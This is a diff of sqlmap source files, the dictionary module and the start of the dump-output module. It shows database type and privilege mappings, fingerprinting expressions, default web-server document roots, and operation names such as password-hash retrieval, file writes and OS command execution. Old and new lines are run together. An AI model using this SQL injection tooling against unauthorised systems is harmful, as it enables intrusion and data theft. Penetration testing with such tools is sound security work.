13: "VARCHAR", # 变长字符串 13: "VARCHAR",
14: "INTERVAL", # 时间间隔 14: "INTERVAL",
15: "NCHAR", # Unicode字符 15: "NCHAR",
16: "NVARCHAR", # Unicode变长字符 16: "NVARCHAR",
17: "INT8", # 8字节整数 17: "INT8",
18: "SERIAL8", # 8字节序列号 18: "SERIAL8",
19: "SET", # 集合 19: "SET",
20: "MULTISET", # 多重集 20: "MULTISET",
21: "LIST", # 列表 21: "LIST",
22: "ROW (unnamed)", # 未命名行 22: "ROW (unnamed)",
23: "COLLECTION", # 集合 23: "COLLECTION",
40: "Variable-length opaque type", # 变长不透明类型 40: "Variable-length opaque type",
41: "Fixed-length opaque type", # 定长不透明类型 41: "Fixed-length opaque type",
43: "LVARCHAR", # 长变长字符串 43: "LVARCHAR",
45: "BOOLEAN", # 布尔值 45: "BOOLEAN",
52: "BIGINT", # 大整数 52: "BIGINT",
53: "BIGSERIAL", # 大序列号 53: "BIGSERIAL",
2061: "IDSSECURITYLABEL", # 安全标签 2061: "IDSSECURITYLABEL",
4118: "ROW (named)", # 命名行 4118: "ROW (named)",
} }
# Sybase数据库的数据类型映射字典
SYBASE_TYPES = { SYBASE_TYPES = {
14: "floatn", # 可空浮点数 14: "floatn",
8: "float", # 浮点数 8: "float",
15: "datetimn", # 可空日期时间 15: "datetimn",
12: "datetime", # 日期时间 12: "datetime",
23: "real", # 实数 23: "real",
28: "numericn", # 可空数值 28: "numericn",
10: "numeric", # 数值 10: "numeric",
27: "decimaln", # 可空十进制数 27: "decimaln",
26: "decimal", # 十进制数 26: "decimal",
17: "moneyn", # 可空货币 17: "moneyn",
11: "money", # 货币 11: "money",
21: "smallmoney", # 小额货币 21: "smallmoney",
22: "smalldatetime", # 小日期时间 22: "smalldatetime",
13: "intn", # 可空整数 13: "intn",
7: "int", # 整数 7: "int",
6: "smallint", # 小整数 6: "smallint",
5: "tinyint", # 微整数 5: "tinyint",
16: "bit", # 位 16: "bit",
2: "varchar", # 变长字符串 2: "varchar",
18: "sysname", # 系统名称 18: "sysname",
25: "nvarchar", # Unicode变长字符 25: "nvarchar",
1: "char", # 定长字符串 1: "char",
24: "nchar", # Unicode字符 24: "nchar",
4: "varbinary", # 变长二进制 4: "varbinary",
80: "timestamp", # 时间戳 80: "timestamp",
3: "binary", # 二进制 3: "binary",
19: "text", # 文本 19: "text",
20: "image", # 图像 20: "image",
} }
# Altibase数据库的数据类型映射字典
ALTIBASE_TYPES = { ALTIBASE_TYPES = {
1: "CHAR", # 定长字符串 1: "CHAR",
12: "VARCHAR", # 变长字符串 12: "VARCHAR",
-8: "NCHAR", # Unicode字符 -8: "NCHAR",
-9: "NVARCHAR", # Unicode变长字符 -9: "NVARCHAR",
2: "NUMERIC", # 数值 2: "NUMERIC",
6: "FLOAT", # 浮点数 6: "FLOAT",
8: "DOUBLE", # 双精度数 8: "DOUBLE",
7: "REAL", # 实数 7: "REAL",
-5: "BIGINT", # 大整数 -5: "BIGINT",
4: "INTEGER", # 整数 4: "INTEGER",
5: "SMALLINT", # 小整数 5: "SMALLINT",
9: "DATE", # 日期 9: "DATE",
30: "BLOB", # 二进制大对象 30: "BLOB",
40: "CLOB", # 字符大对象 40: "CLOB",
20001: "BYTE", # 字节 20001: "BYTE",
20002: "NIBBLE", # 半字节 20002: "NIBBLE",
-7: "BIT", # 位 -7: "BIT",
-100: "VARBIT", # 变长位串 -100: "VARBIT",
10003: "GEOMETRY", # 几何数据 10003: "GEOMETRY",
} }
# MySQL数据库的权限映射字典
MYSQL_PRIVS = { MYSQL_PRIVS = {
1: "select_priv", # 查询权限 1: "select_priv",
2: "insert_priv", # 插入权限 2: "insert_priv",
3: "update_priv", # 更新权限 3: "update_priv",
4: "delete_priv", # 删除权限 4: "delete_priv",
5: "create_priv", # 创建权限 5: "create_priv",
6: "drop_priv", # 删除权限 6: "drop_priv",
7: "reload_priv", # 重载权限 7: "reload_priv",
8: "shutdown_priv", # 关闭权限 8: "shutdown_priv",
9: "process_priv", # 进程权限 9: "process_priv",
10: "file_priv", # 文件权限 10: "file_priv",
11: "grant_priv", # 授权权限 11: "grant_priv",
12: "references_priv", # 引用权限 12: "references_priv",
13: "index_priv", # 索引权限 13: "index_priv",
14: "alter_priv", # 修改权限 14: "alter_priv",
15: "show_db_priv", # 显示数据库权限 15: "show_db_priv",
16: "super_priv", # 超级权限 16: "super_priv",
17: "create_tmp_table_priv", # 创建临时表权限 17: "create_tmp_table_priv",
18: "lock_tables_priv", # 锁表权限 18: "lock_tables_priv",
19: "execute_priv", # 执行权限 19: "execute_priv",
20: "repl_slave_priv", # 复制从权限 20: "repl_slave_priv",
21: "repl_client_priv", # 复制客户端权限 21: "repl_client_priv",
22: "create_view_priv", # 创建视图权限 22: "create_view_priv",
23: "show_view_priv", # 显示视图权限 23: "show_view_priv",
24: "create_routine_priv", # 创建例程权限 24: "create_routine_priv",
25: "alter_routine_priv", # 修改例程权限 25: "alter_routine_priv",
26: "create_user_priv", # 创建用户权限 26: "create_user_priv",
} }
# PostgreSQL数据库的权限映射字典
PGSQL_PRIVS = { PGSQL_PRIVS = {
1: "createdb", # 创建数据库权限 1: "createdb",
2: "super", # 超级用户权限 2: "super",
3: "catupd", # 更新系统目录权限 3: "catupd",
} }
# Firebird数据库的权限映射字典 # Reference(s): http://stackoverflow.com/a/17672504
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
FIREBIRD_PRIVS = { FIREBIRD_PRIVS = {
"S": "SELECT", # 查询权限 "S": "SELECT",
"I": "INSERT", # 插入权限 "I": "INSERT",
"U": "UPDATE", # 更新权限 "U": "UPDATE",
"D": "DELETE", # 删除权限 "D": "DELETE",
"R": "REFERENCE", # 引用权限 "R": "REFERENCE",
"X": "EXECUTE", # 执行权限 "X": "EXECUTE",
"A": "ALL", # 所有权限 "A": "ALL",
"M": "MEMBER", # 成员权限 "M": "MEMBER",
"T": "DECRYPT", # 解密权限 "T": "DECRYPT",
"E": "ENCRYPT", # 加密权限 "E": "ENCRYPT",
"B": "SUBSCRIBE", # 订阅权限 "B": "SUBSCRIBE",
} }
# Informix数据库的权限映射字典 # Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm
# https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm
INFORMIX_PRIVS = { INFORMIX_PRIVS = {
"D": "DBA (all privileges)", # 数据库管理员(所有权限) "D": "DBA (all privileges)",
"R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)", # 资源权限(创建用户定义例程、类型、永久表和索引) "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)",
"C": "CONNECT (work with existing tables)", # 连接权限(使用现有表) "C": "CONNECT (work with existing tables)",
"G": "ROLE", # 角色 "G": "ROLE",
"U": "DEFAULT (implicit connection)", # 默认权限(隐式连接) "U": "DEFAULT (implicit connection)",
} }
# DB2数据库的权限映射字典
DB2_PRIVS = { DB2_PRIVS = {
1: "CONTROLAUTH", # 控制权限 1: "CONTROLAUTH",
2: "ALTERAUTH", # 修改权限 2: "ALTERAUTH",
3: "DELETEAUTH", # 删除权限 3: "DELETEAUTH",
4: "INDEXAUTH", # 索引权限 4: "INDEXAUTH",
5: "INSERTAUTH", # 插入权限 5: "INSERTAUTH",
6: "REFAUTH", # 引用权限 6: "REFAUTH",
7: "SELECTAUTH", # 查询权限 7: "SELECTAUTH",
8: "UPDATEAUTH", # 更新权限 8: "UPDATEAUTH",
} }
# 转储数据时的替换规则
DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
# 数据库管理系统(DBMS)字典,包含每个数据库系统的别名、Python驱动、项目URL和SQLAlchemy方言
DBMS_DICT = { DBMS_DICT = {
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
@ -260,7 +252,7 @@ DBMS_DICT = {
DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
} }
# 不同数据库系统的虚拟表(用于在没有实际表时执行查询) # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
FROM_DUMMY_TABLE = { FROM_DUMMY_TABLE = {
DBMS.ORACLE: " FROM DUAL", DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.ACCESS: " FROM MSysAccessObjects",
@ -274,7 +266,6 @@ FROM_DUMMY_TABLE = {
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
} }
# 不同数据库系统的NULL值评估函数
HEURISTIC_NULL_EVAL = { HEURISTIC_NULL_EVAL = {
DBMS.ACCESS: "CVAR(NULL)", DBMS.ACCESS: "CVAR(NULL)",
DBMS.MAXDB: "ALPHA(NULL)", DBMS.MAXDB: "ALPHA(NULL)",
@ -291,7 +282,7 @@ HEURISTIC_NULL_EVAL = {
DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)",
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
DBMS.MIMERSQL: "ASCII_CHAR(256)", DBMS.MIMERSQL: "ASCII_CHAR(256)",
DBMS.CRATEDB: "MD5(NULL~NULL)", # 注意: NULL~NULL也在H2和Ignite上进行评估 DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
DBMS.CUBRID: "(NULL SETEQ NULL)", DBMS.CUBRID: "(NULL SETEQ NULL)",
DBMS.CACHE: "%SQLUPPER NULL", DBMS.CACHE: "%SQLUPPER NULL",
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
@ -300,9 +291,8 @@ HEURISTIC_NULL_EVAL = {
DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL", DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
} }
# SQL语句类型分类
SQL_STATEMENTS = { SQL_STATEMENTS = {
"SQL SELECT statement": ( # SQL查询语句 "SQL SELECT statement": (
"select ", "select ",
"show ", "show ",
" top ", " top ",
@ -320,7 +310,7 @@ SQL_STATEMENTS = {
"(case ", "(case ",
), ),
"SQL data definition": ( # SQL数据定义语句 "SQL data definition": (
"create ", "create ",
"declare ", "declare ",
"drop ", "drop ",
@ -328,7 +318,7 @@ SQL_STATEMENTS = {
"alter ", "alter ",
), ),
"SQL data manipulation": ( # SQL数据操作语句 "SQL data manipulation": (
"bulk ", "bulk ",
"insert ", "insert ",
"update ", "update ",
@ -337,19 +327,19 @@ SQL_STATEMENTS = {
"load ", "load ",
), ),
"SQL data control": ( # SQL数据控制语句 "SQL data control": (
"grant ", "grant ",
"revoke ", "revoke ",
), ),
"SQL data execution": ( # SQL数据执行语句 "SQL data execution": (
"exec ", "exec ",
"execute ", "execute ",
"values ", "values ",
"call ", "call ",
), ),
"SQL transaction": ( # SQL事务语句 "SQL transaction": (
"start transaction ", "start transaction ",
"begin work ", "begin work ",
"begin transaction ", "begin transaction ",
@ -357,12 +347,11 @@ SQL_STATEMENTS = {
"rollback ", "rollback ",
), ),
"SQL administration": ( # SQL管理语句 "SQL administration": (
"set ", "set ",
), ),
} }
# POST请求提示的内容类型
POST_HINT_CONTENT_TYPES = { POST_HINT_CONTENT_TYPES = {
POST_HINT.JSON: "application/json", POST_HINT.JSON: "application/json",
POST_HINT.JSON_LIKE: "application/json", POST_HINT.JSON_LIKE: "application/json",
@ -372,7 +361,6 @@ POST_HINT_CONTENT_TYPES = {
POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
} }
# 过时的选项及其替代建议
OBSOLETE_OPTIONS = { OBSOLETE_OPTIONS = {
"--replicate": "use '--dump-format=SQLITE' instead", "--replicate": "use '--dump-format=SQLITE' instead",
"--no-unescape": "use '--no-escape' instead", "--no-unescape": "use '--no-escape' instead",
@ -388,63 +376,301 @@ OBSOLETE_OPTIONS = {
"--identify-waf": "functionality being done automatically", "--identify-waf": "functionality being done automatically",
} }
# 已弃用的选项
DEPRECATED_OPTIONS = { DEPRECATED_OPTIONS = {
} }
# 转储数据预处理规则
DUMP_DATA_PREPROCESS = { DUMP_DATA_PREPROCESS = {
DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # 参考: https://www.tibcommunity.com/docs/DOC-3643 DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
} }
# 默认文档根目录
DEFAULT_DOC_ROOTS = { DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # 参考: https://wiki.apache.org/httpd/DistrosDefaultLayout OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
} }
# 部分运行内容类型
PART_RUN_CONTENT_TYPES = { PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES, # 检查数据库类型 "checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, # 获取数据库指纹 "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER, # 获取横幅信息 "getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER, # 获取当前用户 "getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB, # 获取当前数据库 "getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME, # 获取主机名 "getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA, # 是否为DBA "isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS, # 获取用户列表 "getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS, # 获取密码哈希 "getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES, # 获取权限 "getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES, # 获取角色 "getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS, # 获取数据库列表 "getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES, # 获取表列表 "getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS, # 获取列列表 "getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA, # 获取架构 "getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT, # 获取计数 "getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE, # 转储表 "dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH, # 搜索 "search": CONTENT_TYPE.SEARCH,
"sqlQuery": CONTENT_TYPE.SQL_QUERY, # SQL查询 "sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES, # 表是否存在 "tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS, # 列是否存在 "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ, # 读取文件 "readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE, # 写入文件 "writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD, # 操作系统命令 "osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ # 注册表读取 "regRead": CONTENT_TYPE.REG_READ
} }
# HTML实体编码对照表 # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
HTML_ENTITIES = { HTML_ENTITIES = {
"quot": 34, # 双引号 "quot": 34,
"amp": 38, # &符号 "amp": 38,
"apos": 39, # 单引号 "apos": 39,
"lt": 60, # 小于号 "lt": 60,
"gt": 62, # 大于号 "gt": 62,
"nbsp": 160, # 不间断空格 "nbsp": 160,
"iexcl": 161, # 倒感叹号 "iexcl": 161,
"cent": 162, # 分币符号 "cent": 162,
"pound": 163, # 英镑符号 "pound": 163,
"curren": 164, # 货币符号 "curren": 164,
"yen": 165, # 日元符号 "yen": 165,
# ... (其余HTML实体编码省略,与原文相同) "brvbar": 166,
"sect": 167,
"uml": 168,
"copy": 169,
"ordf": 170,
"laquo": 171,
"not": 172,
"shy": 173,
"reg": 174,
"macr": 175,
"deg": 176,
"plusmn": 177,
"sup2": 178,
"sup3": 179,
"acute": 180,
"micro": 181,
"para": 182,
"middot": 183,
"cedil": 184,
"sup1": 185,
"ordm": 186,
"raquo": 187,
"frac14": 188,
"frac12": 189,
"frac34": 190,
"iquest": 191,
"Agrave": 192,
"Aacute": 193,
"Acirc": 194,
"Atilde": 195,
"Auml": 196,
"Aring": 197,
"AElig": 198,
"Ccedil": 199,
"Egrave": 200,
"Eacute": 201,
"Ecirc": 202,
"Euml": 203,
"Igrave": 204,
"Iacute": 205,
"Icirc": 206,
"Iuml": 207,
"ETH": 208,
"Ntilde": 209,
"Ograve": 210,
"Oacute": 211,
"Ocirc": 212,
"Otilde": 213,
"Ouml": 214,
"times": 215,
"Oslash": 216,
"Ugrave": 217,
"Uacute": 218,
"Ucirc": 219,
"Uuml": 220,
"Yacute": 221,
"THORN": 222,
"szlig": 223,
"agrave": 224,
"aacute": 225,
"acirc": 226,
"atilde": 227,
"auml": 228,
"aring": 229,
"aelig": 230,
"ccedil": 231,
"egrave": 232,
"eacute": 233,
"ecirc": 234,
"euml": 235,
"igrave": 236,
"iacute": 237,
"icirc": 238,
"iuml": 239,
"eth": 240,
"ntilde": 241,
"ograve": 242,
"oacute": 243,
"ocirc": 244,
"otilde": 245,
"ouml": 246,
"divide": 247,
"oslash": 248,
"ugrave": 249,
"uacute": 250,
"ucirc": 251,
"uuml": 252,
"yacute": 253,
"thorn": 254,
"yuml": 255,
"OElig": 338,
"oelig": 339,
"Scaron": 352,
"fnof": 402,
"scaron": 353,
"Yuml": 376,
"circ": 710,
"tilde": 732,
"Alpha": 913,
"Beta": 914,
"Gamma": 915,
"Delta": 916,
"Epsilon": 917,
"Zeta": 918,
"Eta": 919,
"Theta": 920,
"Iota": 921,
"Kappa": 922,
"Lambda": 923,
"Mu": 924,
"Nu": 925,
"Xi": 926,
"Omicron": 927,
"Pi": 928,
"Rho": 929,
"Sigma": 931,
"Tau": 932,
"Upsilon": 933,
"Phi": 934,
"Chi": 935,
"Psi": 936,
"Omega": 937,
"alpha": 945,
"beta": 946,
"gamma": 947,
"delta": 948,
"epsilon": 949,
"zeta": 950,
"eta": 951,
"theta": 952,
"iota": 953,
"kappa": 954,
"lambda": 955,
"mu": 956,
"nu": 957,
"xi": 958,
"omicron": 959,
"pi": 960,
"rho": 961,
"sigmaf": 962,
"sigma": 963,
"tau": 964,
"upsilon": 965,
"phi": 966,
"chi": 967,
"psi": 968,
"omega": 969,
"thetasym": 977,
"upsih": 978,
"piv": 982,
"bull": 8226,
"hellip": 8230,
"prime": 8242,
"Prime": 8243,
"oline": 8254,
"frasl": 8260,
"ensp": 8194,
"emsp": 8195,
"thinsp": 8201,
"zwnj": 8204,
"zwj": 8205,
"lrm": 8206,
"rlm": 8207,
"ndash": 8211,
"mdash": 8212,
"lsquo": 8216,
"rsquo": 8217,
"sbquo": 8218,
"ldquo": 8220,
"rdquo": 8221,
"bdquo": 8222,
"dagger": 8224,
"Dagger": 8225,
"permil": 8240,
"lsaquo": 8249,
"rsaquo": 8250,
"euro": 8364,
"weierp": 8472,
"image": 8465,
"real": 8476,
"trade": 8482,
"alefsym": 8501,
"larr": 8592,
"uarr": 8593,
"rarr": 8594,
"darr": 8595,
"harr": 8596,
"crarr": 8629,
"lArr": 8656,
"uArr": 8657,
"rArr": 8658,
"dArr": 8659,
"hArr": 8660,
"forall": 8704,
"part": 8706,
"exist": 8707,
"empty": 8709,
"nabla": 8711,
"isin": 8712,
"notin": 8713,
"ni": 8715,
"prod": 8719,
"sum": 8721,
"minus": 8722,
"lowast": 8727,
"radic": 8730,
"prop": 8733,
"infin": 8734,
"ang": 8736,
"and": 8743,
"or": 8744,
"cap": 8745,
"cup": 8746,
"int": 8747,
"there4": 8756,
"sim": 8764,
"cong": 8773,
"asymp": 8776,
"ne": 8800,
"equiv": 8801,
"le": 8804,
"ge": 8805,
"sub": 8834,
"sup": 8835,
"nsub": 8836,
"sube": 8838,
"supe": 8839,
"oplus": 8853,
"otimes": 8855,
"perp": 8869,
"sdot": 8901,
"lceil": 8968,
"rceil": 8969,
"lfloor": 8970,
"rfloor": 8971,
"lang": 9001,
"rang": 9002,
"loz": 9674,
"spades": 9824,
"clubs": 9827,
"hearts": 9829,
"diams": 9830
} }

@ -5,96 +5,80 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库 import hashlib
import hashlib # 用于生成哈希值 import os
import os # 用于文件和目录操作 import re
import re # 用于正则表达式 import shutil
import shutil # 用于高级文件操作 import tempfile
import tempfile # 用于创建临时文件和目录 import threading
import threading # 用于多线程支持
from lib.core.common import Backend
# 导入自定义模块和函数 from lib.core.common import checkFile
from lib.core.common import Backend # 数据库后端相关 from lib.core.common import dataToDumpFile
from lib.core.common import checkFile # 检查文件是否存在 from lib.core.common import dataToStdout
from lib.core.common import dataToDumpFile # 将数据写入转储文件 from lib.core.common import filterNone
from lib.core.common import dataToStdout # 将数据写入标准输出 from lib.core.common import getSafeExString
from lib.core.common import filterNone # 过滤None值 from lib.core.common import isListLike
from lib.core.common import getSafeExString # 获取安全的异常字符串 from lib.core.common import isNoneValue
from lib.core.common import isListLike # 检查是否类似列表 from lib.core.common import normalizeUnicode
from lib.core.common import isNoneValue # 检查是否为None值 from lib.core.common import openFile
from lib.core.common import normalizeUnicode # Unicode标准化 from lib.core.common import prioritySortColumns
from lib.core.common import openFile # 打开文件 from lib.core.common import randomInt
from lib.core.common import prioritySortColumns # 列优先级排序 from lib.core.common import safeCSValue
from lib.core.common import randomInt # 生成随机整数 from lib.core.common import unArrayizeValue
from lib.core.common import safeCSValue # 获取安全的CSV值 from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.common import unArrayizeValue # 数组值转换 from lib.core.compat import xrange
from lib.core.common import unsafeSQLIdentificatorNaming # SQL标识符命名 from lib.core.convert import getBytes
from lib.core.compat import xrange # 兼容Python2/3的range from lib.core.convert import getConsoleLength
from lib.core.convert import getBytes # 获取字节 from lib.core.convert import getText
from lib.core.convert import getConsoleLength # 获取控制台长度 from lib.core.convert import getUnicode
from lib.core.convert import getText # 获取文本 from lib.core.convert import htmlEscape
from lib.core.convert import getUnicode # 获取Unicode from lib.core.data import conf
from lib.core.convert import htmlEscape # HTML转义 from lib.core.data import kb
from lib.core.data import conf # 配置数据 from lib.core.data import logger
from lib.core.data import kb # 知识库数据 from lib.core.dicts import DUMP_REPLACEMENTS
from lib.core.data import logger # 日志记录器 from lib.core.enums import CONTENT_STATUS
from lib.core.dicts import DUMP_REPLACEMENTS # 转储替换字典 from lib.core.enums import CONTENT_TYPE
from lib.core.enums import CONTENT_STATUS # 内容状态枚举 from lib.core.enums import DBMS
from lib.core.enums import CONTENT_TYPE # 内容类型枚举 from lib.core.enums import DUMP_FORMAT
from lib.core.enums import DBMS # 数据库管理系统枚举 from lib.core.exception import SqlmapGenericException
from lib.core.enums import DUMP_FORMAT # 转储格式枚举 from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapGenericException # 通用异常 from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapSystemException # 系统异常 from lib.core.replication import Replication
from lib.core.exception import SqlmapValueException # 值异常 from lib.core.settings import DUMP_FILE_BUFFER_SIZE
from lib.core.replication import Replication # 复制功能 from lib.core.settings import HTML_DUMP_CSS_STYLE
from lib.core.settings import DUMP_FILE_BUFFER_SIZE # 转储文件缓冲区大小 from lib.core.settings import IS_WIN
from lib.core.settings import HTML_DUMP_CSS_STYLE # HTML转储CSS样式 from lib.core.settings import METADB_SUFFIX
from lib.core.settings import IS_WIN # 是否Windows系统 from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import METADB_SUFFIX # 元数据库后缀 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE # 最小二进制磁盘转储大小 from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE # 标准输出转储大小限制 from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import UNICODE_ENCODING # Unicode编码 from lib.core.settings import VERSION_STRING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT # 不安全的转储文件路径替换 from lib.core.settings import WINDOWS_RESERVED_NAMES
from lib.core.settings import VERSION_STRING # 版本字符串 from lib.utils.safe2bin import safechardecode
from lib.core.settings import WINDOWS_RESERVED_NAMES # Windows保留名称 from thirdparty import six
from lib.utils.safe2bin import safechardecode # 安全字符解码 from thirdparty.magic import magic
from thirdparty import six # Python 2/3兼容库
from thirdparty.magic import magic # 文件类型识别库
class Dump(object): class Dump(object):
""" """
这个类定义了用于解析和输出SQL注入结果的方法 This class defines methods used to parse and output the results
of SQL injection actions
""" """
def __init__(self): def __init__(self):
""" self._outputFile = None
初始化Dump对象 self._outputFP = None
""" self._lock = threading.Lock()
self._outputFile = None # 输出文件路径
self._outputFP = None # 输出文件指针
self._lock = threading.Lock() # 线程锁,用于多线程同步
def _write(self, data, newline=True, console=True, content_type=None): def _write(self, data, newline=True, console=True, content_type=None):
"""
写入数据到输出
参数:
data - 要写入的数据
newline - 是否添加换行符
console - 是否输出到控制台
content_type - 内容类型
"""
text = "%s%s" % (data, "\n" if newline else " ") text = "%s%s" % (data, "\n" if newline else " ")
# API模式下的输出处理
if conf.api: if conf.api:
dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
# 控制台输出
elif console: elif console:
dataToStdout(text) dataToStdout(text)
# 文件输出
if self._outputFP: if self._outputFP:
multiThreadMode = kb.multiThreadMode multiThreadMode = kb.multiThreadMode
if multiThreadMode: if multiThreadMode:
@ -112,9 +96,6 @@ class Dump(object):
kb.dataOutputFlag = True kb.dataOutputFlag = True
def flush(self): def flush(self):
"""
刷新输出缓冲区
"""
if self._outputFP: if self._outputFP:
try: try:
self._outputFP.flush() self._outputFP.flush()
@ -122,9 +103,6 @@ class Dump(object):
pass pass
def setOutputFile(self): def setOutputFile(self):
"""
设置输出文件
"""
if conf.noLogging: if conf.noLogging:
self._outputFP = None self._outputFP = None
return return
@ -137,25 +115,9 @@ class Dump(object):
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def singleString(self, data, content_type=None): def singleString(self, data, content_type=None):
"""
输出单个字符串
参数:
data - 要输出的数据
content_type - 内容类型
"""
self._write(data, content_type=content_type) self._write(data, content_type=content_type)
def string(self, header, data, content_type=None, sort=True): def string(self, header, data, content_type=None, sort=True):
"""
格式化输出字符串
参数:
header - 标题
data - 数据
content_type - 内容类型
sort - 是否排序
"""
if conf.api: if conf.api:
self._write(data, content_type=content_type) self._write(data, content_type=content_type)
@ -182,15 +144,6 @@ class Dump(object):
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
def lister(self, header, elements, content_type=None, sort=True): def lister(self, header, elements, content_type=None, sort=True):
"""
列表形式输出数据
参数:
header - 标题
elements - 元素列表
content_type - 内容类型
sort - 是否排序
"""
if elements and sort: if elements and sort:
try: try:
elements = set(elements) elements = set(elements)
@ -215,30 +168,12 @@ class Dump(object):
self._write("") self._write("")
def banner(self, data): def banner(self, data):
"""
输出横幅信息
参数:
data - 横幅数据
